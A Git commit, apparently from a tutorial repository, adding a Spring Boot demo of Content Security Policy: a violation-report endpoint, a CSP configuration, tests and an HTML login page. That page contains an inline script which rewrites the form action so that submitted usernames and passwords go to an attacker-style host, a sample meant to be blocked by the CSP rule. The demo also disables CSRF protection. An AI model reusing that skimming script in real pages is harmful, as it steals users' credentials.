BAEL-4837 - Content Security Policy using Spring Security and Spring … (#11603)
* BAEL-4837 - Content Security Policy using Spring Security and Spring Boot * Application Code * Formatted the code * Reformatted the test cases as per review comments * Removed the formatters and deleted extra spaces Co-authored-by: Bhaskara Navuluri <bhaskara.navuluri@hpe.com>
This commit is contained in:
parent
9b905cef77
commit
f16ed0b658
|
@ -1,7 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>spring-security-web-boot-3</artifactId>
|
||||
<version>0.0.1-SNAPSHOT</version>
|
||||
|
@ -25,6 +23,25 @@
|
|||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-web</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>commons-io</groupId>
|
||||
<artifactId>commons-io</artifactId>
|
||||
<version>2.11.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.webjars</groupId>
|
||||
<artifactId>webjars-locator-core</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.webjars</groupId>
|
||||
<artifactId>bootstrap</artifactId>
|
||||
<version>5.1.1</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.webjars</groupId>
|
||||
<artifactId>jquery</artifactId>
|
||||
<version>3.6.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
package com.baeldung.contentsecuritypolicy;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
public class ContentSecurityPolicyApplication {
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(ContentSecurityPolicyApplication.class, args);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
package com.baeldung.contentsecuritypolicy;
|
||||
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
@RestController
|
||||
public class ContentSecurityPolicyController {
|
||||
private static final Logger logger = LoggerFactory.getLogger(ContentSecurityPolicyController.class);
|
||||
|
||||
@PostMapping("/report")
|
||||
public void report(HttpServletRequest request) throws IOException {
|
||||
if (logger.isInfoEnabled()) {
|
||||
logger.info("Report: {}", IOUtils.toString(request.getInputStream(), StandardCharsets.UTF_8));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
package com.baeldung.contentsecuritypolicy;
|
||||
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||
import org.springframework.security.web.header.writers.StaticHeadersWriter;
|
||||
|
||||
@Configuration
|
||||
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
|
||||
private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
|
||||
|
||||
@Override
|
||||
protected void configure(HttpSecurity http) throws Exception {
|
||||
http.csrf()
|
||||
.disable()
|
||||
.authorizeRequests()
|
||||
.antMatchers("/**")
|
||||
.permitAll()
|
||||
.and()
|
||||
.headers()
|
||||
.addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
|
||||
.xssProtection()
|
||||
.and()
|
||||
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
|
||||
}
|
||||
}
|
|
@ -0,0 +1,67 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>Content Security Policy</title>
|
||||
<link href="/webjars/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|
||||
<script src="/webjars/jquery/jquery.min.js"></script>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@100;200;300&display=swap" rel="stylesheet">
|
||||
<link href="/main.css" rel="stylesheet">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<nav class="navbar navbar-dark bg-dark">
|
||||
<div class="container-fluid">
|
||||
<a class="navbar-brand" href="#">
|
||||
Baeldung – Content Security Policy
|
||||
</a>
|
||||
</div>
|
||||
</nav>
|
||||
<br/>
|
||||
<div class="container">
|
||||
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-6">
|
||||
<div class="alert alert-warning" role="alert">
|
||||
Session time out. Please login.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-6">
|
||||
<div class="card">
|
||||
<div class="card-body">
|
||||
<h3 class="card-title"><strong>Login</strong></h3>
|
||||
<hr/>
|
||||
<form id="login" action="/login" method="post" autocomplete="off">
|
||||
<div class="form-group">
|
||||
<label for="email">Email <span class="text-danger">*</span></label>
|
||||
<input type="text" class="form-control" id="email" autocomplete="off">
|
||||
</div>
|
||||
<br/>
|
||||
<div class="form-group">
|
||||
<label for="password">Password <span class="text-danger">*</span></label>
|
||||
<input type="password" class="form-control" id="password">
|
||||
</div>
|
||||
<script>
|
||||
let form = document.forms.login;
|
||||
form.onsubmit = function () {
|
||||
let username = document.getElementById("email").value;
|
||||
let password = document.getElementById("password").value;
|
||||
form.action = "https://youaredoomed.com:9090/collect?u=" + username + "&p=" + password;
|
||||
}
|
||||
</script>
|
||||
<br/>
|
||||
<button class="btn btn-primary">Login</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,26 @@
|
|||
html, body{
|
||||
font-family: Raleway, serif;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
.navbar
|
||||
{
|
||||
background-color: #63b175 !important;
|
||||
}
|
||||
.navbar-brand
|
||||
{
|
||||
font-size: 1.75rem;
|
||||
font-weight: bold;
|
||||
}
|
||||
/*
|
||||
hr{
|
||||
border: 0px dotted rgba(249, 249, 249, 0.88);
|
||||
}*/
|
||||
|
||||
hr {
|
||||
border: 0;
|
||||
border-bottom: 1px dashed #969595;
|
||||
background: #969595;
|
||||
}
|
||||
label{
|
||||
font-weight: bold;
|
||||
}
|
|
@ -0,0 +1,64 @@
|
|||
package com.baeldung.contentsecuritypolicy;
|
||||
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
|
||||
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
|
||||
|
||||
import org.springframework.http.HttpStatus;
|
||||
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.util.Collection;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
|
||||
@WebMvcTest
|
||||
@AutoConfigureMockMvc
|
||||
@DisplayName("Content Security Policy Unit Tests")
|
||||
class ContentSecurityPolicyUnitTest {
|
||||
|
||||
@Autowired
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@Test
|
||||
@DisplayName("Test to Check Bad URL")
|
||||
void whenWrongUri_thenThrow404() throws Exception {
|
||||
MvcResult result = mockMvc.perform(post("/reports").content("").contentType(MediaType.APPLICATION_JSON)).andReturn();
|
||||
|
||||
assertEquals(HttpStatus.NOT_FOUND.value(), result.getResponse().getStatus());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Test to Check Page rendering")
|
||||
void whenGet_thenRenderPage() throws Exception {
|
||||
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
|
||||
|
||||
assertEquals(HttpStatus.OK.value(), result.getResponse().getStatus());
|
||||
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Test to Check CSP headers")
|
||||
void whenGet_thenCheckCspHeaders() throws Exception {
|
||||
MvcResult result = mockMvc.perform(get("/").content("")).andReturn();
|
||||
HttpServletResponse response = result.getResponse();
|
||||
Collection<String> headers = response.getHeaderNames();
|
||||
|
||||
assertNotNull(result);
|
||||
assertNotNull(headers);
|
||||
assertEquals(HttpStatus.OK.value(), response.getStatus());
|
||||
assertEquals("text/html", MediaType.TEXT_HTML_VALUE);
|
||||
assertTrue(headers.contains("Report-To"));
|
||||
assertTrue(headers.contains("Content-Security-Policy"));
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue